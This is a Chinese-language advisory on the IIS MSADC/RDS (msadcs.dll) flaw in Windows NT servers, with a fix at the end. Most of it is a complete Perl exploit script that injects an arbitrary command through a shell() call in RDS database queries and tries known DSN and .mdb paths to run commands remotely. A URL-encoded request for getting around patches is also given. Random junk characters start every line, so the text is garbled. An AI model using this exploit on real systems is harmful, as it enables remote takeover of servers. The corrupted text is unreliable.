IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_(io8zqe{j -H[@]Q4w 涉及程序：
9PO5GYU Microsoft NT server
4XJ']M(5; G\k & s F 描述：
KMfRMc& 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
o@ j!J I& =Ov,7<8o 详细：
l9+CJAmq 如果你没有时间读详细内容的话，就删除:
Sa.nUj{M= c:\Program Files\Common Files\System\Msadc\msadcs.dll
SbM RrWy 有关的安全问题就没有了。
JW2f 6!b nDckT+eJ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
l$l6,OzS@ g2LvojR 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;BWWafZ 关于利用ODBC远程漏洞的描述，请参看:
}lJ|nl`c eD NY|}$}v http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm HJ"sK5Q Iw#[K 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
<bhJ > http://www.microsoft.com/security/bulletins/MS99-025faq.asp PV=sqLM ~ & n83 >Q 这里不再论述。
RCK* ?\m5 Y}yh6r;i 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
.S=|ZP+ sMJa4 P>O@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ff fWvf 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
9M|#X1r{%{ VRY@}>W' l_+q a6C* #将下面这段保存为txt文件，然后: "perl -x 文件名"
xZV|QVY; b!"q bC1 #!perl
+[S< "}ls7 #
#Ak9f-pf # MSADC/RDS 'usage' (aka exploit) script
9nlj{(
#
$}YN`:{ # by rain.forest.puppy
]:?hU^H]< #
?=kH}'igq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7Ot&] M # beta test and find errors!
?G&J_L=@Y [,~;n@jz use Socket; use Getopt::Std;
J]48th0 , getopts("e:vd:h:XR", \%args);
t0:~BYXu NW21{}=4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
wn<k "6x gMZrtK `< if (!defined $args{h} && !defined $args{R}) {
>k/
rJ[Sc print qq~
= 4'r+2[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
z ! k -h <host> = host you want to scan (ip or domain)
wb]Z4/j# -d <seconds> = delay between calls, default 1 second
SEZ08:>x r -X = dump Index Server path table, if available
irB}h!@ -v = verbose
]`h@[fYge -e = external dictionary file for step 5
%5Elj<eHZ nvodP"iV Or a -R will resume a command session
iZ ;562Mo ({C|(v9 C7 ~; exit;}
iy_3#x5> << YH4}wZ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
4Xv."L if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|oR{c%z05 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
brF) %x` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
nnd-d+$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
y,<\d/YY@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
"*d%el\63 %]F{aR if (!defined $args{R}){ $ret = &has_msadc;
/KO2y 0` die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?i~mt'O 7~D5Gy print "Please type the NT commandline you want to run (cmd /c assumed):\n"
x:]_z.5 . "cmd /c ";
H3ob
8+J $in=<STDIN>; chomp $in;
j(_6.zf $command="cmd /c " . $in ;
8 }M aj np7!y
U if (defined $args{R}) {&load; exit;}
OF! n}.O( :%zA X print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kH62#[J)yM &try_btcustmr;
2>Kn' p q\fai^_ print "\nStep 2: Trying to make our own DSN...";
#CB`7 }jq &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?V)M! dda*gq/p print "\nStep 3: Trying known DSNs...";
yfA h= &known_dsn;
h61BIc@> U
owbk: print "\nStep 4: Trying known .mdbs...";
GM@0$ &known_mdb;
eI5W; Q4 )O Qih+#?W if (defined $args{e}){
j5 W)9HW: print "\nStep 5: Trying dictionary of DSN names...";
G\r>3Ys &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
\!r,>P c 9zMI print "Sorry Charley...maybe next time?\n";
k3e?:t 9 exit;
l;;"v) C8 sYyya:ykxT ##############################################################################
T`Qg+Q$ R"JT+m sub sendraw { # ripped and modded from whisker
(V8lmp-F sleep($delay); # it's a DoS on the server! At least on mine...
{F*81q\ my ($pstr)=@_;
Q $^Kf]pD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fq[,9lK die("Socket problems\n");
9m2Yrj93 if(connect(S,pack "SnA4x8",2,80,$target)){
)^Md ^\? select(S); $|=1;
SBG.t: print $pstr; my @in=<S>;
9%bqY9NFd select(STDOUT); close(S);
W}> wRy return @in;
/y5a~3 } else { die("Can't connect...\n"); }}
+{ {'3=x9 *JY 2vq ##############################################################################
Q-$EBNz f`, isy[ sub make_header { # make the HTTP request
FZJ sZeO my $msadc=<<EOT
"]1|%j POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
rp,PhS User-Agent: ACTIVEDATA
.h>tef Host: $ip
7?~*F7F Content-Length: $clen
h#I]gHQK Connection: Keep-Alive
fBt`D
!Z8 $3:O}X> ADCClientVersion:01.06
>^+c s^jCM Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
xw83dQ]}^ !"
7ip 9a --!ADM!ROX!YOUR!WORLD!
lEiOE] Content-Type: application/x-varg
)?,X\/5 Content-Length: $reqlen
/Es&~Fn A>Oi9%OY: EOT
;{ Su:Ixg ; $msadc=~s/\n/\r\n/g;
vip&
b} u return $msadc;}
vKcc | # ZNTOI]P& ##############################################################################
1
c4I`#_v ~z*A%vp6ER sub make_req { # make the RDS request
TmO3hKaP my ($switch, $p1, $p2)=@_;
t(.xEl;Ma my $req=""; my $t1, $t2, $query, $dsn;
R"k}wRnxY SRpPLY{:F if ($switch==1){ # this is the btcustmr.mdb query
-JB ~yO?0 $query="Select * from Customers where City=" . make_shell();
$tFmp) $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
I?IAZa) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m}>#s3KPA Y A4;gH + elsif ($switch==2){ # this is general make table query
}6^d/nE*T
$query="create table AZZ (B int, C varchar(10))";
[%yCnt $dsn="$p1";}
dQH9NsV7g !S}4b elsif ($switch==3){ # this is general exploit table query
*u`[2xmuYf $query="select * from AZZ where C=" . make_shell();
o+.LG($+U $dsn="$p1";}
>$iQDVh! j69 2M.A elsif ($switch==4){ # attempt to hork file info from index server
BF(.^oh"n0 $query="select path from scope()";
h(wu5G0C#u $dsn="Provider=MSIDXS;";}
x $
oId{; d #]XyN> elsif ($switch==5){ # bad query
Ct,|g =( $query="select";
lDm0O)Dh! $dsn="$p1";}
pz@wbu=($4 Hwm] l`E] $t1= make_unicode($query);
mtg3}etA $t2= make_unicode($dsn);
A +J&(7N $req = "\x02\x00\x03\x00";
` p)$7! $req.= "\x08\x00" . pack ("S1", length($t1));
G^=C#9c.m $req.= "\x00\x00" . $t1 ;
| ?])]F $req.= "\x08\x00" . pack ("S1", length($t2));
%N
}0,a0 $req.= "\x00\x00" . $t2 ;
j6{9XIR o_ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:")iS?l return $req;}
MZInS:Vj f)/ 5%W7n} ##############################################################################
Xeo2 < @[ 'WLh
D< sub make_shell { # this makes the shell() statement
GH!Lu\y\ return "'|shell(\"$command\")|'";}
EvEI5/ z vpl>
5 % ##############################################################################
V:vYS y&$ v@]t1 sub make_unicode { # quick little function to convert to unicode
xsIuPL#_ my ($in)=@_; my $out;
.q^+llM for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
?* %J Gz _ return $out;}
i[d@qp!H= @mB*fl?- ##############################################################################
Ps!~miN|> @z! |HLD+ sub rdo_success { # checks for RDO return success (this is kludge)
:CJ]^ v my (@in) = @_; my $base=content_start(@in);
x^ruPiH if($in[$base]=~/multipart\/mixed/){
b _#r_` return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!xz0zT. return 0;}
/^T XGc. .Q^8 _'ZG ##############################################################################
"0(
_ 20XN5dTFT sub make_dsn { # this makes a DSN for us
ggn:DE " my @drives=("c","d","e","f");
a*gzVE7W#n print "\nMaking DSN: ";
@3F 4Lg6H| foreach $drive (@drives) {
p Y[dJ xB print "$drive: ";
c8cPGm#i my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
xJ18M@" j "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
i{
" g 7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
:n} NQzs $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|wFfVDp return 0 if $2 eq "404"; # not found/doesn't exist
m $X0O_*A if($2 eq "200") {
&n)=OConge foreach $line (@results) {
bdUe,2Yi n return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
VS{po:]A } return 0;}
. + w# n< [9S? ##############################################################################
R;68C6 4 U:n3V sub verify_exists {
w`" )^KXi my ($page)=@_;
e
M T5bn my @results=sendraw("GET $page HTTP/1.0\n\n");
@d]a#ypU return $results[0];}
>w~ Hq9 nA#FGfZ{Ge ##############################################################################
g_l=z`,8 ~j&#DG& L sub try_btcustmr {
*Fe my @drives=("c","d","e","f");
~ojH$=K>d my @dirs=("winnt","winnt35","winnt351","win","windows");
D|`I"N[< :QV-! foreach $dir (@dirs) {
J XKqQxZ[X print "$dir -> "; # fun status so you can see progress
ta\CZp foreach $drive (@drives) {
r#xq 8H=_m print "$drive: "; # ditto
T3W? -, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Jbrjt/OG#I $reqlenlen=length( "$reqlen" );
p*_^JU(<p $clen= 206 + $reqlenlen + $reqlen;
M'
d ,TV[ vCB0 x:/ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
n7r )wy if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
V#Hg+\{d else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
d 1 8 >0R ph;ds+b ##############################################################################
b;X|[tB ).BZPyV< sub odbc_error {
~$O.KF: my (@in)=@_; my $base;
#:y h2y7a% my $base = content_start(@in);
X?'v FC if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
w InJ!1 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,a&&y0, $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/kLG/ry8l: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#H;yXsR ` return $in[$base+4].$in[$base+5].$in[$base+6];}
y]5c!N %8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
#BK3CD(& print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
2Bf]#l{z $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t3dvHU&Z: !G0OD$ ##############################################################################
Sas &P:# r U;l!.mze sub verbose {
j ~ IX my ($in)=@_;
X
\1grM return if !$verbose;
EO<{Bj=2 print STDOUT "\n$in\n";}
^HYrJr$y
yv@td+-"D ##############################################################################
HX(Z(rcI m|}};8 sub save {
<u 'q._m my ($p1, $p2, $p3, $p4)=@_;
_h=kjc}[.O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
U 49#?^? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
am$-1+iX close OUT;}
Vl0
J!JK_ =%}++7# ##############################################################################
m,,FNYW YhVV~bvz* sub load {
VOj{&O2c my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]%RX\~Q. 4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
K|n$-WDG} @p=<IN>; close(IN);
^WZcM #~TL $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6WN1D W $target= inet_aton($ip) || die("inet_aton problems");
/n9yv print "Resuming to $ip ...";
^,?dk![1Cv $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=sR]/XSK if($p[1]==1) {
QL<uQ `>( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}3"FQ/6C $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
o
IUjd my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b R6g^Yf if (rdo_success(@results)){print "Success!\n";}
zPC&p{S> else { print "failed\n"; verbose(odbc_error(@results));}}
ranLH m.nB elsif ($p[1]==3){
X/5\L.g2 if(run_query("$p[3]")){
Z`?Z1SBt print "Success!\n";} else { print "failed\n"; }}
) N8 [@ elsif ($p[1]==4){
5iG+O4n% if(run_query($drvst . "$p[3]")){
Hq[vh7Lux print "Success!\n"; } else { print "failed\n"; }}
$[p<}o/6v] exit;}
! OVTs3} +, SUJ| ##############################################################################
9vAY|b^ HW{si]~q sub create_table {
D 2U")g}U my ($in)=@_;
DH#n 7s'b $reqlen=length( make_req(2,$in,"") ) - 28;
Y55Yo5<j/+ $reqlenlen=length( "$reqlen" );
|\1! *Qp $clen= 206 + $reqlenlen + $reqlen;
7lo`)3mB my @results=sendraw(make_header() . make_req(2,$in,""));
k3-' !dW< return 1 if rdo_success(@results);
;oKN 8vI#7 my $temp= odbc_error(@results); verbose($temp);
&I&:
return 1 if $temp=~/Table 'AZZ' already exists/;
Ac0^` return 0;}
`*A!vO8 =`8 % qh ##############################################################################
Z# +{ksU Au q) sub known_dsn {
rj.] M6# # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}\9elVt'2 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Zd~l_V f "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
\Bg;^6U "banner", "banners", "ads", "ADCDemo", "ADCTest");
8IAf 9 zfAkWSY foreach $dSn (@dsns) {
vS! TnmF print ".";
:V(+]< next if (!is_access("DSN=$dSn"));
7rc6 if(create_table("DSN=$dSn")){
4QK~qAi print "$dSn successful\n";
986y\9 Zu if(run_query("DSN=$dSn")){
P4M *vZq) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3$.R=MQ7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
}mz6z<pJ_ ou r$Ka31 ##############################################################################
;3nR_6 \ ,[64$=R8 sub is_access {
sXD.*D my ($in)=@_;
Mw0Kg9M $reqlen=length( make_req(5,$in,"") ) - 28;
0@FZQ$- $reqlenlen=length( "$reqlen" );
;*3OkNxa3 $clen= 206 + $reqlenlen + $reqlen;
CXb-{|I}d my @results=sendraw(make_header() . make_req(5,$in,""));
qjK'sge/ my $temp= odbc_error(@results);
]BY^.!Y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`}b#O}z)^ return 0;}
5hVp2 w- Dr;-2$Kt/& ##############################################################################
!+& Rn\e%7 0 i76 (2 sub run_query {
VtNY~ my ($in)=@_;
IZ<d~ [y $reqlen=length( make_req(3,$in,"") ) - 28;
mkA1Sh{hX> $reqlenlen=length( "$reqlen" );
*r Y@(| $clen= 206 + $reqlenlen + $reqlen;
6ty>0 my @results=sendraw(make_header() . make_req(3,$in,""));
}U)g<Kzh return 1 if rdo_success(@results);
HFJna2B` my $temp= odbc_error(@results); verbose($temp);
9?Vy F'r= return 0;}
^E)Kse.> YbMeSU/sX ##############################################################################
24ojjxz+ $1QQidB sub known_mdb {
J!
;g.q my @drives=("c","d","e","f","g");
%J*z!Fe8s my @dirs=("winnt","winnt35","winnt351","win","windows");
2 EG` my $dir, $drive, $mdb;
9<0p1W O my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TM|M#hMS K~j&Q{yws@ # this is sparse, because I don't know of many
2v
^bd^]u: my @sysmdbs=( "\\catroot\\icatalog.mdb",
WaU+ZgDrG "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
QZcdfJck=+ "\\system32\\certmdb.mdb",
|N 9::),< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
k4|9'V&1*6 ()< E?D= my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
'cs!(z-{x "\\cfusion\\cfapps\\forums\\forums_.mdb",
}b9"& io "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
%M=[h 2S N "\\cfusion\\cfapps\\security\\realm_.mdb",
OnNWci|7 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:r?gD2q "\\cfusion\\database\\cfexamples.mdb",
R3nCk-Dq "\\cfusion\\database\\cfsnippets.mdb",
p0 @ ,- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_:hrm%^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
o,| LO$~ "\\cfusion\\brighttiger\\database\\cleam.mdb",
l(-We.:( "\\cfusion\\database\\smpolicy.mdb",
` Yk~2t"V "\\cfusion\\database\cypress.mdb",
[>5<&[A "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
=x9SvIm/tH "\\website\\cgi-win\\dbsample.mdb",
axJuJ`+Y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
+ .Pv:7gh "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
q^:>sfd ); #these are just
! N\<QRb\q foreach $drive (@drives) {
XCCh*qym foreach $dir (@dirs){
n#jBqr&!M foreach $mdb (@sysmdbs) {
$XBn:0U print ".";
2K^D%U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
&`#k 1t' print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|Ai/q6u if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
3AKT>Wy = print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
F32N e6Y6" } else { print "Something's borked. Use verbose next time\n"; }}}}}
~%SmH [i !VaKq_ W foreach $drive (@drives) {
"gm[q."n< foreach $mdb (@mdbs) {
^?pf.E!F` print ".";
j _`
[Z if(create_table($drv . $drive . $dir . $mdb)){
O T1 print "\n" . $drive . $dir . $mdb . " successful\n";
_?j66-(
Q if(run_query($drv . $drive . $dir . $mdb)){
"I[a ]T}/ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
eWKFs)C] } else { print "Something's borked. Use verbose next time\n"; }}}}
!n;0%"(FH }
^!Y ]l ``;.Oy6jS ##############################################################################
a`c#-
je ?vmu,y sub hork_idx {
#[ei/p print "\nAttempting to dump Index Server tables...\n";
N>R\ ,n|I print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9+:SS1_ $reqlen=length( make_req(4,"","") ) - 28;
}BF!!* $reqlenlen=length( "$reqlen" );
se|>P=/ $clen= 206 + $reqlenlen + $reqlen;
mf~Joluc J my @results=sendraw2(make_header() . make_req(4,"",""));
j,DF' h if (rdo_success(@results)){
?c G~M|@ my $max=@results; my $c; my %d;
JD`IPQb~ E for($c=19; $c<$max; $c++){
T Lcev* $results[$c]=~s/\x00//g;
|j 9d.M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
@nC][gNv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
zd%n)jlwR $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
(/mR
p $d{"$1$2"}="";}
0+-"9pED>E foreach $c (keys %d){ print "$c\n"; }
U46 qpb 7 } else {print "Index server doesn't seem to be installed.\n"; }}
]=gNA \d'>Ky;GD ##############################################################################
[Rj_p&'
{yo{@pdX> sub dsn_dict {
Ow#a|@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:EGvI while(<IN>){
*F<Ar\f5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
c-GS:'J{ next if (!is_access("DSN=$dSn"));
H{)DI(,Y^P if(create_table("DSN=$dSn")){
aru;yR print "$dSn successful\n";
1bz%O2U-( if(run_query("DSN=$dSn")){
c-jE1y< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
V=i/cI\ print "Something's borked. Use verbose next time\n";}}}
YW14X print "\n"; close(IN);}
`4SwdW n QZh#& Qf; ##############################################################################
< `Xt? K
rSg OQ sub sendraw2 { # ripped and modded from whisker
qjm6\ii:) sleep($delay); # it's a DoS on the server! At least on mine...
(DIM t-wz my ($pstr)=@_;
kTW[) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|F}6Zv die("Socket problems\n");
Qi= pP/Y if(connect(S,pack "SnA4x8",2,80,$target)){
B>; `$- print "Connected. Getting data";
im-XP@< open(OUT,">raw.out"); my @in;
9#>t% IF~ select(S); $|=1; print $pstr;
!MyCxM6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?3_^SRW&a close(OUT); select(STDOUT); close(S); return @in;
tqFE>ojlI } else { die("Can't connect...\n"); }}
D7lRZb :
GdLr
##############################################################################
Z ~3 TFZxk sub content_start { # this will take in the server headers
:|HCUZ*H(T my (@in)=@_; my $c;
j tv<{7a for ($c=1;$c<500;$c++) {
^Q#g-"b if($in[$c] =~/^\x0d\x0a/){
? APCDZ^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~]Weyb[ N else { return $c+1; }}}
3P *[ !KI return -1;} # it should never get here actually
D & Bdl5g u.@B-Pf[Eo ##############################################################################
e9;5. m Kgw, ]E&7 sub funky {
[gIvB<Uv my (@in)=@_; my $error=odbc_error(@in);
WkMB if($error=~/ADO could not find the specified provider/){
l+#uQo6cqQ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>sGiDK @ exit;}
B'-n
^'; if($error=~/A Handler is required/){
|/%X8 \ print "\nServer has custom handler filters (they most likely are patched)\n";
-KL 5sK exit;}
NydF'N_1 if($error=~/specified Handler has denied Access/){
<xly k/ print "\nServer has custom handler filters (they most likely are patched)\n";
cB 6LJ}R exit;}}
XD%GNZ ?s@=DDB\u ##############################################################################
W.(Q
u-AE( i<M
F8 $ sub has_msadc {
7n[0)XR> my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
J(5#fo{Q.g my $base=content_start(@results);
fD*jzj7o , return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
GGU>={D) return 0;}
8^pu C 0V+v)\4FE ########################
$#-O^0D ' 7H"ezt 8'Ie i78Ov 解决方案：
: j`4nXm 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
BUUc9&f3o 2、移除web 目录: /msadc
